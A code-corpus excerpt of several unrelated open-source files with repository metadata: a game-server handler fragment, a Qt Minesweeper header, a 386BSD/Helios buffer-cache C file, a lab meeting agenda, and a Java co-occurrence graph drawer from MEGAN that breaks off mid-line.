recv_data) { uint32 BattleId; recv_data >> BattleId; sLog->outError("HandleBfExitRequest: BattleID:%u ", BattleId); Battlefield* Bf = sBattlefieldMgr.GetBattlefieldByBattleId(BattleId); if (!Bf) return; Bf->AskToLeaveQueue(_player); }
Darkpeninsula/Darkcore-Rebase
src/server/game/Handlers/BattlefieldHandler.cpp
C++
gpl-3.0
4,978
/* * Copyright 2016 Takashi Inoue * * This file is part of EzPuzzles. * * EzPuzzles is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * EzPuzzles is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with EzPuzzles. If not, see <http://www.gnu.org/licenses/>. */ #ifndef MINEPIECESFACTORY_H #define MINEPIECESFACTORY_H #include "IMinePiece.h" #include "BoardInformation.h" #include <QList> #include <QPixmap> namespace MineSweeper { class PiecesFactory { public: PiecesFactory(const QPixmap &sourcePixmap, BoardInfoPointer boardInformation, int mineCount ); ~PiecesFactory() = default; using MinePiece2DList = QList<QList<MinePiecePointer>>; static QList<int> toIntList(const MinePiece2DList &pieces); MinePiece2DList toPieces(const QList<int> &intList); MinePiece2DList createPieces(); private: static constexpr int m_openFlag = (1 << 8); static constexpr int m_lockFlag = (1 << 9); static constexpr int m_mineID = 0b1111; MinePiece2DList createNullPiecesList() const; void createMinePieces(MinePiece2DList &pieces); void createMinePiece(MinePiece2DList &pieces, int x, int y); void createSafePieces(MinePiece2DList &pieces) const; void createSafePiece(MinePiece2DList &pieces, int x, int y, int numberOfAroundMines) const; void createWallPieces(MinePiece2DList &pieces) const; QList<MinePiecePointer> getAroundPieces(const MinePiece2DList &pieces, int x, int y) const; QPixmap m_sourcePixmap; BoardInfoPointer m_boardInformation; int m_mineCount; }; } // MineSweeper #endif // MINEPIECESFACTORY_H
Takashi-Inoue/EzPuzzles
MineSweeper/MinePiecesFactory.h
C
gpl-3.0
2,066
/* * Copyright (c) 1989, 1990, 1991, 1992 William F. Jolitz, TeleMuse * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * This software is a component of "386BSD" developed by * William F. Jolitz, TeleMuse. * 4. Neither the name of the developer nor the name "386BSD" * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS A COMPONENT OF 386BSD DEVELOPED BY WILLIAM F. JOLITZ * AND IS INTENDED FOR RESEARCH AND EDUCATIONAL PURPOSES ONLY. THIS * SOFTWARE SHOULD NOT BE CONSIDERED TO BE A COMMERCIAL PRODUCT. * THE DEVELOPER URGES THAT USERS WHO REQUIRE A COMMERCIAL PRODUCT * NOT MAKE USE OF THIS WORK. * * FOR USERS WHO WISH TO UNDERSTAND THE 386BSD SYSTEM DEVELOPED * BY WILLIAM F. JOLITZ, WE RECOMMEND THE USER STUDY WRITTEN * REFERENCES SUCH AS THE "PORTING UNIX TO THE 386" SERIES * (BEGINNING JANUARY 1991 "DR. DOBBS JOURNAL", USA AND BEGINNING * JUNE 1991 "UNIX MAGAZIN", GERMANY) BY WILLIAM F. JOLITZ AND * LYNNE GREER JOLITZ, AS WELL AS OTHER BOOKS ON UNIX AND THE * ON-LINE 386BSD USER MANUAL BEFORE USE. A BOOK DISCUSSING THE INTERNALS * OF 386BSD ENTITLED "386BSD FROM THE INSIDE OUT" WILL BE AVAILABLE LATE 1992. * * THIS SOFTWARE IS PROVIDED BY THE DEVELOPER ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE DEVELOPER BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ static char rcsid[] = "$Header: /users/al/ufs/RCS/vfs_bio.c,v 1.2 1992/12/09 17:36:36 al Exp $"; #include "param.h" #include "proc.h" #include "vnode.h" #include "buf.h" #include "specdev.h" #include "mount.h" #include "malloc.h" #ifdef __HELIOS #include "resourcvar.h" #else #include "resourcevar.h" #endif #ifdef __HELIOS #include "helios.h" #endif /* __ HELIOS */ /* * Initialize buffer headers and related structures. */ void bufinit() { struct bufhd *bh; struct buf *bp; /* first, make a null hash table */ for(bh = bufhash; bh < bufhash + BUFHSZ; bh++) { bh->b_flags = 0; bh->b_forw = (struct buf *)bh; bh->b_back = (struct buf *)bh; } /* next, make a null set of free lists */ for(bp = bfreelist; bp < bfreelist + BQUEUES; bp++) { bp->b_flags = 0; bp->av_forw = bp; bp->av_back = bp; bp->b_forw = bp; bp->b_back = bp; } /* finally, initialize each buffer header and stick on empty q */ for(bp = buf; bp < buf + nbuf ; bp++) { bp->b_flags = B_HEAD | B_INVAL; /* we're just an empty header */ bp->b_dev = NODEV; bp->b_vp = 0; binstailfree(bp, bfreelist + BQ_EMPTY); binshash(bp, bfreelist + BQ_EMPTY); } } /* * Find the block in the buffer pool. * If the buffer is not present, allocate a new buffer and load * its contents according to the filesystem fill routine. */ bread(vp, blkno, size, cred, bpp) struct vnode *vp; daddr_t blkno; int size; struct ucred *cred; struct buf **bpp; { struct buf *bp; int rv = 0; bp = getblk (vp, blkno, size); /* if not found in cache, do some I/O */ if ((bp->b_flags & B_CACHE) == 0 || (bp->b_flags & B_INVAL) != 0) { bp->b_flags |= B_READ; bp->b_flags &= ~(B_DONE|B_ERROR|B_INVAL); VOP_STRATEGY(bp); rv = biowait (bp); } *bpp = bp; return (rv); } /* * Operates like bread, but also starts I/O on the specified * read-ahead block. [See page 55 of Bach's Book] */ breada(vp, blkno, size, rablkno, rabsize, cred, bpp) struct vnode *vp; daddr_t blkno; int size; daddr_t rablkno; int rabsize; struct ucred *cred; struct buf **bpp; { struct buf *bp, *rabp; int rv = 0, needwait = 0; bp = getblk (vp, blkno, size); /* if not found in cache, do some I/O */ if ((bp->b_flags & B_CACHE) == 0 || (bp->b_flags & B_INVAL) != 0) { bp->b_flags |= B_READ; bp->b_flags &= ~(B_DONE|B_ERROR|B_INVAL); VOP_STRATEGY(bp); needwait++; } rabp = getblk (vp, rablkno, rabsize); /* if not found in cache, do some I/O (overlapped with first) */ if ((rabp->b_flags & B_CACHE) == 0 || (rabp->b_flags & B_INVAL) != 0) { rabp->b_flags |= B_READ | B_ASYNC; rabp->b_flags &= ~(B_DONE|B_ERROR|B_INVAL); VOP_STRATEGY(rabp); } else brelse(rabp); /* wait for original I/O */ if (needwait) rv = biowait (bp); *bpp = bp; return (rv); } /* * Synchronous write. * Release buffer on completion. */ bwrite(bp) register struct buf *bp; { int rv; if(bp->b_flags & B_INVAL) { brelse(bp); return (0); } else { int wasdelayed; if(!(bp->b_flags & B_BUSY))panic("bwrite: not busy"); wasdelayed = bp->b_flags & B_DELWRI; bp->b_flags &= ~(B_READ|B_DONE|B_ERROR|B_ASYNC|B_DELWRI); if(wasdelayed) reassignbuf(bp, bp->b_vp); bp->b_flags |= B_DIRTY; VOP_STRATEGY(bp); rv = biowait(bp); if (!rv) bp->b_flags &= ~B_DIRTY; brelse(bp); return (rv); } } /* * Delayed write. * * The buffer is marked dirty, but is not queued for I/O. * This routine should be used when the buffer is expected * to be modified again soon, typically a small write that * partially fills a buffer. * * NB: magnetic tapes cannot be delayed; they must be * written in the order that the writes are requested. */ void bdwrite(bp) register struct buf *bp; { if(!(bp->b_flags & B_BUSY))panic("bdwrite: not busy"); if(bp->b_flags & B_INVAL) { brelse(bp); } if(bp->b_flags & B_TAPE) { bwrite(bp); return; } bp->b_flags &= ~(B_READ|B_DONE); bp->b_flags |= B_DIRTY|B_DELWRI; reassignbuf(bp, bp->b_vp); brelse(bp); return; } /* * Asynchronous write. * Start I/O on a buffer, but do not wait for it to complete. * The buffer is released when the I/O completes. */ bawrite(bp) register struct buf *bp; { if(!(bp->b_flags & B_BUSY))panic("bawrite: not busy"); if(bp->b_flags & B_INVAL) brelse(bp); else { int wasdelayed; wasdelayed = bp->b_flags & B_DELWRI; bp->b_flags &= ~(B_READ|B_DONE|B_ERROR|B_DELWRI); if(wasdelayed) reassignbuf(bp, bp->b_vp); bp->b_flags |= B_DIRTY | B_ASYNC; VOP_STRATEGY(bp); } } /* * Release a buffer. * Even if the buffer is dirty, no I/O is started. */ brelse(bp) register struct buf *bp; { int x; /* anyone need a "free" block? */ x=splbio(); if ((bfreelist + BQ_AGE)->b_flags & B_WANTED) { (bfreelist + BQ_AGE) ->b_flags &= ~B_WANTED; wakeup(bfreelist); } /* anyone need this very block? */ if (bp->b_flags & B_WANTED) { bp->b_flags &= ~B_WANTED; wakeup(bp); } if (bp->b_flags & (B_INVAL|B_ERROR)) { bp->b_flags |= B_INVAL; bp->b_flags &= ~(B_DELWRI|B_CACHE); if(bp->b_vp) brelvp(bp); } /* enqueue */ /* just an empty buffer head ... */ /*if(bp->b_flags & B_HEAD) binsheadfree(bp, bfreelist + BQ_EMPTY)*/ /* buffers with junk contents */ /*else*/ if(bp->b_flags & (B_ERROR|B_INVAL|B_NOCACHE)) binsheadfree(bp, bfreelist + BQ_AGE) /* buffers with stale but valid contents */ else if(bp->b_flags & B_AGE) binstailfree(bp, bfreelist + BQ_AGE) /* buffers with valid and quite potentially reuseable contents */ else binstailfree(bp, bfreelist + BQ_LRU) /* unlock */ bp->b_flags &= ~B_BUSY; splx(x); return; } extern int freebufspace; extern int allocbufspace; /* * Find a buffer which is available for use. * If free memory for buffer space and an empty header from the empty list, * use that. Otherwise, select something from a free list. * Preference is to AGE list, then LRU list. */ struct buf * getnewbuf(sz) { struct buf *bp; int x; #ifdef SHOWCALLS IOdebug("getnewbuf: Called with sz=%d by %s (free=%d)", sz,myprocname(returnlink_(sz)),freebufspace); #endif x = splbio(); start: /* can we constitute a new buffer? */ if (freebufspace > sz && bfreelist[BQ_EMPTY].av_forw != (struct buf *)bfreelist+BQ_EMPTY) { caddr_t addr; #ifdef DEBUG IOdebug("getnewbuf: mallocing buffer space"); #endif if ((addr = malloc (sz, M_CACHE, M_NOWAIT)) == 0) goto tryfree; freebufspace -= sz; allocbufspace += sz; bp = bfreelist[BQ_EMPTY].av_forw; bp->b_flags = B_BUSY | B_INVAL; bremfree(bp); bp->b_un.b_addr = (caddr_t) addr; goto fillin; } tryfree: if (bfreelist[BQ_AGE].av_forw != (struct buf *)bfreelist+BQ_AGE) { #ifdef DEBUG IOdebug("getnewbuf: freeing from age"); #endif bp = bfreelist[BQ_AGE].av_forw; bremfree(bp); } else if (bfreelist[BQ_LRU].av_forw != (struct buf *)bfreelist+BQ_LRU) { #ifdef DEBUG IOdebug("getnewbuf: freeing from lru"); #endif bp = bfreelist[BQ_LRU].av_forw; bremfree(bp); } else { /* wait for a free buffer of any kind */ (bfreelist + BQ_AGE)->b_flags |= B_WANTED; #ifdef DEBUG IOdebug("getnewbuf: waiting for any free buffer"); #endif sleep(bfreelist, PRIBIO); splx(x); return (0); } /* if we are a delayed write, convert to an async write! */ if (bp->b_flags & B_DELWRI) { /*bp->b_flags &= ~B_DELWRI;*/ bp->b_flags |= B_BUSY; bawrite (bp); goto start; } /*if (bp->b_flags & (B_INVAL|B_ERROR) == 0) { bremhash(bp); }*/ if(bp->b_vp) brelvp(bp); /* we are not free, nor do we contain interesting data */ bp->b_flags = B_BUSY; fillin: #ifdef DEBUG IOdebug("getnewbuf: at fillin"); IOdebug("getnewbuf: blk %d, vp 0x%x removed from hash",bp->b_lblkno,bp->b_vp); #endif bremhash(bp); splx(x); bp->b_dev = NODEV; bp->b_vp = NULL; bp->b_blkno = bp->b_lblkno = 0; bp->b_iodone = 0; bp->b_error = 0; bp->b_wcred = bp->b_rcred = NOCRED; if (bp->b_bufsize != sz) allocbuf(bp, sz); bp->b_bcount = bp->b_bufsize = sz; bp->b_dirtyoff = bp->b_dirtyend = 0; return (bp); } /* * Check to see if a block is currently memory resident. */ struct buf *incore(vp, blkno) struct vnode *vp; daddr_t blkno; { struct buf *bh; struct buf *bp; bh = BUFHASH(vp, blkno); /* Search hash chain */ bp = bh->b_forw; while (bp != (struct buf *) bh) { /* hit */ if (bp->b_lblkno == blkno && bp->b_vp == vp && (bp->b_flags & B_INVAL) == 0) return (bp); bp = bp->b_forw; } return(0); } /* * Get a block of requested size that is associated with * a given vnode and block offset. If it is found in the * block cache, mark it as having been found, make it busy * and return it. Otherwise, return an empty block of the * correct size. It is up to the caller to insure that the * cached blocks be of the correct size. */ struct buf * getblk(vp, blkno, size) register struct vnode *vp; daddr_t blkno; int size; { struct buf *bp, *bh; int x; for (;;) { if (bp = incore(vp, blkno)) { x = splbio(); if (bp->b_flags & B_BUSY) { bp->b_flags |= B_WANTED; sleep (bp, PRIBIO); continue; } bp->b_flags |= B_BUSY | B_CACHE; bremfree(bp); #ifdef DEBUG IOdebug("getblk: found blk %d in cache vp=0x%x size=%d",blkno,vp,size); #endif if (size > bp->b_bufsize) panic("now what do we do?"); /* if (bp->b_bufsize != size) allocbuf(bp, size); */ } else { #ifdef DEBUG IOdebug("getblk: didnt find blk %d in cache -added vp=0x%x size=%d",blkno,vp,size); #endif if((bp = getnewbuf(size)) == 0) continue; bp->b_blkno = bp->b_lblkno = blkno; bgetvp(vp, bp); x = splbio(); bh = BUFHASH(vp, blkno); binshash(bp, bh); bp->b_flags = B_BUSY; } splx(x); return (bp); } } /* * Get an empty, disassociated buffer of given size. */ struct buf * geteblk(size) int size; { struct buf *bp; int x; while ((bp = getnewbuf(size)) == 0) ; x = splbio(); binshash(bp, bfreelist + BQ_AGE); splx(x); return (bp); } /* * Exchange a buffer's underlying buffer storage for one of different * size, taking care to maintain contents appropriately. When buffer * increases in size, caller is responsible for filling out additional * contents. When buffer shrinks in size, data is lost, so caller must * first return it to backing store before shrinking the buffer, as * no implied I/O will be done. * * Expanded buffer is returned as value. */ struct buf * allocbuf(bp, size) register struct buf *bp; int size; { caddr_t newcontents; /* get new memory buffer */ newcontents = (caddr_t) malloc (size, M_CACHE, M_WAITOK); /* copy the old into the new, up to the maximum that will fit */ bcopy (bp->b_un.b_addr, newcontents, min(bp->b_bufsize, size)); /* return old contents to free heap */ free (bp->b_un.b_addr, M_CACHE); /* adjust buffer cache's idea of memory allocated to buffer contents */ freebufspace -= size - bp->b_bufsize; allocbufspace += size - bp->b_bufsize; /* update buffer header */ bp->b_un.b_addr = newcontents; bp->b_bcount = bp->b_bufsize = size; return(bp); } /* * Patiently await operations to complete on this buffer. * When they do, extract error value and return it. * Extract and return any errors associated with the I/O. * If an invalid block, force it off the lookup hash chains. */ biowait(bp) register struct buf *bp; { int x; x = splbio(); while ((bp->b_flags & B_DONE) == 0) sleep((caddr_t)bp, PRIBIO); if((bp->b_flags & B_ERROR) || bp->b_error) { if ((bp->b_flags & B_INVAL) == 0) { bp->b_flags |= B_INVAL; #ifdef DEBUG IOdebug("biowait: blk %d, vp 0x%x removed from hash",bp->b_lblkno,bp->b_vp); #endif bremhash(bp); binshash(bp, bfreelist + BQ_AGE); } if (!bp->b_error) bp->b_error = EIO; else bp->b_flags |= B_ERROR; splx(x); return (bp->b_error); } else { splx(x); return (0); } } /* * Finish up operations on a buffer, calling an optional * function (if requested), and releasing the buffer if * marked asynchronous. Then mark this buffer done so that * others biowait()'ing for it will notice when they are * woken up from sleep(). */ biodone(bp) register struct buf *bp; { int x; x = splbio(); if (bp->b_flags & B_CALL) (*bp->b_iodone)(bp); bp->b_flags &= ~B_CALL; if (bp->b_flags & B_ASYNC) brelse(bp); bp->b_flags &= ~B_ASYNC; bp->b_flags |= B_DONE; wakeup(bp); splx(x); }
axelmuhr/Helios-NG
filesys/ufs/vfs_bio.c
C
gpl-3.0
14,835
# Lab Meeting Agenda - August 24th, 2017 ## Open Agenda Items? How is everyone doing? What do you want this meeting to be? How often do we need to meet? Journal club? If so, you should get credit. ## Upcoming Stuff Sept 17th - Sunday with a Scientist Sept 18th - Big grant review - I will check and get more information on your involvement, but it should be like the plant phenotyping conference ## Old Stuff Josh still has to do: protocol for endophytes posted online greenhouse information for everyone Anything else? ## New Stuff Ordering supplies? What do you need? Bleach? White tags? I need to transfer the DNA extraction kit order to Plant Sciences ## Projects that I need help on: MAIZE! MAIZE! MAIZE! (Karen & Thais, but many others outside of the lab too) Projects with Brazil (Thais) Soybean Stuff Hops Vine leaf sampling Orchard Outbreak - Tiny project Tim's Projects - benchmarking! McIntire-Stennis - Green Ash Project DNA Study - Premise: from each sampling, is that DNA from living or dead organism? How long DNA persists on soil? (relic DNA) Morel Mushroom Project: Pan-genome ## Managing Lab Things github HCC - Do we need more memory? This is not critical at the moment. Keys, Desks, etc.?
HerrLab/LAB_STUFF
meeting_agendas/2017-08-24-lab_meeting_agenda.md
Markdown
gpl-3.0
1,250
/* * CoOccurrenceDrawer.java Copyright (C) 2021. Daniel H. Huson * * (Some files contain contributions from other authors, who are then mentioned separately.) * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. * */ package megan.chart.drawers; import jloda.graph.*; import jloda.graph.algorithms.FruchtermanReingoldLayout; import jloda.swing.util.BasicSwing; import jloda.util.APoint2D; import jloda.util.Basic; import jloda.util.ProgramProperties; import megan.chart.IChartDrawer; import megan.chart.gui.ChartViewer; import megan.chart.gui.SelectionGraphics; import megan.util.ScalingType; import javax.swing.*; import java.awt.*; import java.awt.event.MouseEvent; import java.awt.geom.Line2D; import java.awt.geom.Point2D; import java.awt.geom.Rectangle2D; import java.util.HashMap; import java.util.HashSet; import java.util.Map; import java.util.Set; /** * draws a co-occurrence graph * Daniel Huson, 6.2012 */ public class CoOccurrenceDrawer extends BarChartDrawer implements IChartDrawer { public static final String NAME = "CoOccurrencePlot"; public enum Method {Jaccard, PearsonsR, KendallsTau} private int maxRadius = ProgramProperties.get("COMaxRadius", 40); private final Graph graph; private final EdgeArray<Float> edgeValue; private final Color PositiveColor = new Color(0x3F861C); private final Color NegativeColor = new Color(0xFB6542); private final Rectangle2D boundingBox = new Rectangle2D.Double(); private double minThreshold = ProgramProperties.get("COMinThreshold", 0.01d); // min percentage for class private int minProbability = ProgramProperties.get("COMinProbability", 70); // min co-occurrence probability in percent private int minPrevalence = ProgramProperties.get("COMinPrevalence", 10); // minimum prevalence in percent private int maxPrevalence = ProgramProperties.get("COMaxPrevalence", 90); // maximum prevalence in percent private boolean showAntiOccurring = ProgramProperties.get("COShowAntiOccurring", true); private boolean showCoOccurring = ProgramProperties.get("COShowCoOccurring", true); private Method method = Method.valueOf(ProgramProperties.get("COMethod", Method.Jaccard.toString())); /** * constructor */ public CoOccurrenceDrawer() { graph = new Graph(); edgeValue = new EdgeArray<>(graph); setSupportedScalingTypes(ScalingType.LINEAR); } /** * draw heat map with colors representing classes * * @param gc */ public void drawChart(Graphics2D gc) { final SelectionGraphics<String[]> sgc = (gc instanceof SelectionGraphics ? (SelectionGraphics<String[]>) gc : null); int y0 = getHeight() - bottomMargin; int y1 = topMargin; int x0 = leftMargin; int x1 = getWidth() - rightMargin; if (x0 >= x1) return; int leftRightLabelOverhang = (getWidth() > 200 ? 100 : 0); double drawWidth = (getWidth() - 2 * leftRightLabelOverhang); double drawHeight = (getHeight() - topMargin - 20 - 20); // minus extra 20 for bottom toolbar double factorX = drawWidth / boundingBox.getWidth(); double factorY = drawHeight / boundingBox.getHeight(); double dx = leftRightLabelOverhang - factorX * boundingBox.getMinX() + (drawWidth - factorX * boundingBox.getWidth()) / 2; double dy = topMargin + 20 - factorY * boundingBox.getMinY() + (drawHeight - factorY * boundingBox.getHeight()) / 2; Line2D line = new Line2D.Double(); /* gc.setColor(Color.BLUE); gc.drawRect((int) (factorX * boundingBox.getX() + dx) + 3, (int) (factorY * boundingBox.getY() + dy) + 3, (int) (factorX * boundingBox.getWidth()) - 6, (int) (factorY * boundingBox.getHeight()) - 6); */ gc.setColor(Color.BLACK); for (Edge e = graph.getFirstEdge(); e != null; e = graph.getNextEdge(e)) { Node v = e.getSource(); Point2D pv = ((NodeData) v.getData()).getLocation(); Node w = e.getTarget(); Point2D pw = ((NodeData) w.getData()).getLocation(); try { line.setLine(factorX * pv.getX() + dx, factorY * pv.getY() + dy, factorX * pw.getX() + dx, factorY * pw.getY() + dy); gc.setColor(edgeValue.get(e) > 0 ? PositiveColor : NegativeColor); gc.draw(line); if (isShowValues()) { gc.setColor(Color.DARK_GRAY); gc.setFont(getFont(ChartViewer.FontKeys.ValuesFont.toString())); gc.drawString(Basic.removeTrailingZerosAfterDot(String.format("%.4f", edgeValue.get(e))), (int) Math.round(0.5 * factorX * (pv.getX() + pw.getX()) + dx), (int) Math.round(0.5 * factorY * (pv.getY() + pw.getY()) + dy)); } } catch (Exception ex) { Basic.caught(ex); } } double maxPrevalence = 1; for (Node v = graph.getFirstNode(); v != null; v = graph.getNextNode(v)) { Integer prevalence = ((NodeData) v.getData()).getPrevalence(); if (prevalence > maxPrevalence) maxPrevalence = prevalence; } // draw all nodes in white to mask edges for (Node v = graph.getFirstNode(); v != null; v = graph.getNextNode(v)) { Point2D pv = ((NodeData) v.getData()).getLocation(); Integer prevalence = ((NodeData) v.getData()).getPrevalence(); double value = 0; if (scalingType == ScalingType.PERCENT) { value = prevalence / maxPrevalence; } else if (scalingType == ScalingType.LOG) { value = Math.log(prevalence + 1) / Math.log(maxPrevalence + 1); } else if (scalingType == ScalingType.SQRT) { value = Math.sqrt(prevalence) / Math.sqrt(maxPrevalence); } else value = prevalence / maxPrevalence; double size = Math.max(1, value * (double) maxRadius); int[] oval = {(int) (factorX * pv.getX() + dx - size), (int) (factorY * pv.getY() + dy - size), (int) (2 * size), (int) (2 * size)}; gc.setColor(Color.WHITE); // don't want to see the edges behind the nodes gc.fillOval(oval[0], oval[1], oval[2], oval[3]); } // draw all nodes in color: for (Node v = graph.getFirstNode(); v != null; v = graph.getNextNode(v)) { String className = ((NodeData) v.getData()).getLabel(); Point2D pv = ((NodeData) v.getData()).getLocation(); Integer prevalence = ((NodeData) v.getData()).getPrevalence(); double value = 0; if (scalingType == ScalingType.PERCENT) { value = prevalence / maxPrevalence; } else if (scalingType == ScalingType.LOG) { value = Math.log(prevalence + 1) / Math.log(maxPrevalence + 1); } else if (scalingType == ScalingType.SQRT) { value = Math.sqrt(prevalence) / Math.sqrt(maxPrevalence); } else value = prevalence / maxPrevalence; double size = Math.max(1, value * (double) maxRadius); int[] oval = {(int) (factorX * pv.getX() + dx - size), (int) (factorY * pv.getY() + dy - size), (int) (2 * size), (int) (2 * size)}; Color color = getChartColors().getClassColor(class2HigherClassMapper.get(className), 150); gc.setColor(color); if (sgc != null) sgc.setCurrentItem(new String[]{null, className}); gc.fillOval(oval[0], oval[1], oval[2], oval[3]); if (sgc != null) sgc.clearCurrentItem(); boolean isSelected = getChartData().getChartSelection().isSelected(null, className); if (isSelected) { gc.setColor(ProgramProperties.SELECTION_COLOR); if (oval[2] <= 1) { oval[0] -= 1; oval[1] -= 1; oval[2] += 2; oval[3] += 2; } gc.setStroke(HEAVY_STROKE); gc.drawOval(oval[0], oval[1], oval[2], oval[3]); gc.setStroke(NORMAL_STROKE); } else { gc.setColor(color.darker()); gc.drawOval(oval[0], oval[1], oval[2], oval[3]); } if ((showValues && value > 0) || isSelected) { String label = "" + prevalence; valuesList.add(new DrawableValue(label, oval[0] + oval[2] + 2, oval[1] + oval[3] / 2, isSelected)); } } // show labels if requested if (isShowXAxis()) { gc.setFont(getFont(ChartViewer.FontKeys.XAxisFont.toString())); for (Node v = graph.getFirstNode(); v != null; v = graph.getNextNode(v)) { String className = ((NodeData) v.getData()).getLabel(); Point2D pv = ((NodeData) v.getData()).getLocation(); Integer prevalence = ((NodeData) v.getData()).getPrevalence(); double value = 0; if (scalingType == ScalingType.PERCENT) { value = prevalence / maxPrevalence; } else if (scalingType == ScalingType.LOG) { value = Math.log(prevalence + 1) / Math.log(maxPrevalence + 1); } else if (scalingType == ScalingType.SQRT) { value = Math.sqrt(prevalence) / Math.sqrt(maxPrevalence); } else value = prevalence / maxPrevalence; double size = Math.max(1, value * (double) maxRadius); int[] oval = {(int) (factorX * pv.getX() + dx - size), (int) (factorY * pv.getY() + dy - size), (int) (2 * size), (int) (2 * size)}; Dimension labelSize = BasicSwing.getStringSize(gc, className, gc.getFont()).getSize(); int x = (int) Math.round(oval[0] + oval[2] / 2.0 - labelSize.getWidth() / 2); int y = oval[1] - 2; if (getChartData().getChartSelection().isSelected(null, className)) { gc.setColor(ProgramProperties.SELECTION_COLOR); fillAndDrawRect(gc, x, y, labelSize.width, labelSize.height, 0, ProgramProperties.SELECTION_COLOR, ProgramProperties.SELECTION_COLOR_DARKER); } gc.setColor(getFontColor(ChartViewer.FontKeys.XAxisFont.toString(), Color.BLACK)); if (sgc != null) sgc.setCurrentItem(new String[]{null, className}); gc.drawString(className, x, y); if (sgc != null) sgc.clearCurrentItem(); } } if (valuesList.size() > 0) { gc.setFont(getFont(ChartViewer.FontKeys.YAxisFont.toString())); gc.setFont(getFont(ChartViewer.FontKeys.ValuesFont.toString())); DrawableValue.drawValues(gc, valuesList, false, true); valuesList.clear(); } } /** * draw heat map with colors representing series * * @param gc */ public void drawChartTransposed(Graphics2D gc) { gc.setFont(getFont(ChartViewer.FontKeys.XAxisFont.toString())); } /** * update the view */ public void updateView() { // todo: may need to this in a separate thread updateGraph(); embedGraph(); } /** * computes the co-occurrences graph */ private void updateGraph() { graph.clear(); Map<String, Node> className2Node = new HashMap<>(); // setup nodes for (String aClassName : getChartData().getClassNames()) { int numberOfSeriesContainingClass = 0; for (String series : getChartData().getSeriesNames()) { final double percentage = 100.0 * getChartData().getValue(series, aClassName).doubleValue() / getChartData().getTotalForSeries(series); if (percentage >= getMinThreshold()) numberOfSeriesContainingClass++; } final double percentageOfSeriesContainingClass = 100.0 * numberOfSeriesContainingClass / (double) getChartData().getNumberOfSeries(); if (percentageOfSeriesContainingClass >= getMinPrevalence() && percentageOfSeriesContainingClass <= getMaxPrevalence()) { final Node v = graph.newNode(); final NodeData nodeData = new NodeData(); nodeData.setLabel(aClassName); v.setData(nodeData); className2Node.put(aClassName, v); nodeData.setPrevalence(numberOfSeriesContainingClass); } } final String[] series = getChartData().getSeriesNames().toArray(new String[0]); final int n = series.length; if (n >= 2) { // setup edges for (Node v = graph.getFirstNode(); v != null; v = v.getNext()) { final String classA = ((NodeData) v.getData()).getLabel(); for (Node w = v.getNext(); w != null; w = w.getNext()) { final String classB = ((NodeData) w.getData()).getLabel(); final float score; switch (method) { default: case Jaccard: { final Set<String> intersection = new HashSet<>(); final Set<String> union = new HashSet<>(); for (String series1 : series) { double total = getChartData().getTotalForSeries(series1); double percentage1 = 100.0 * getChartData().getValue(series1, classA).doubleValue() / total; double percentage2 = 100.0 * getChartData().getValue(series1, classB).doubleValue() / total; if (percentage1 >= getMinThreshold() || percentage2 >= getMinThreshold()) { union.add(series1); } if (percentage1 > getMinThreshold() && percentage2 >= getMinThreshold()) { intersection.add(series1); } } if (union.size() > 0) { final boolean positive; if (isShowCoOccurring() && !isShowAntiOccurring()) positive = true; else if (!isShowCoOccurring() && isShowAntiOccurring()) positive = false; else positive = (intersection.size() >= 0.5 * union.size()); if (positive) score = ((float) intersection.size() / (float) union.size()); else score = -((float) (union.size() - intersection.size()) / (float) union.size()); } else score = 0; break; } case PearsonsR: { double meanA = 0; double meanB = 0; for (String series1 : series) { meanA += getChartData().getValue(series1, classA).doubleValue(); meanB += getChartData().getValue(series1, classB).doubleValue(); } meanA /= n; meanB /= n; double valueTop = 0; double valueBottomA = 0; double valueBottomB = 0; for (String series1 : series) { final double a = getChartData().getValue(series1, classA).doubleValue(); final double b = getChartData().getValue(series1, classB).doubleValue(); valueTop += (a - meanA) * (b - meanB); valueBottomA += (a - meanA) * (a - meanA); valueBottomB += (b - meanB) * (b - meanB); } valueBottomA = Math.sqrt(valueBottomA); valueBottomB = Math.sqrt(valueBottomB); score = (float) (valueTop / (valueBottomA * valueBottomB)); break; } case KendallsTau: { int countConcordant = 0; int countDiscordant = 0; for (int i = 0; i < series.length; i++) { String series1 = series[i]; double aIn1 = getChartData().getValue(series1, classA).doubleValue(); double bIn1 = getChartData().getValue(series1, classB).doubleValue(); for (int j = i + 1; j < series.length; j++) { String series2 = series[j]; double aIn2 = getChartData().getValue(series2, classA).doubleValue(); double bIn2 = getChartData().getValue(series2, classB).doubleValue(); if (aIn1 != aIn2 && bIn1 != bIn2) { if ((aIn1 < aIn2) == 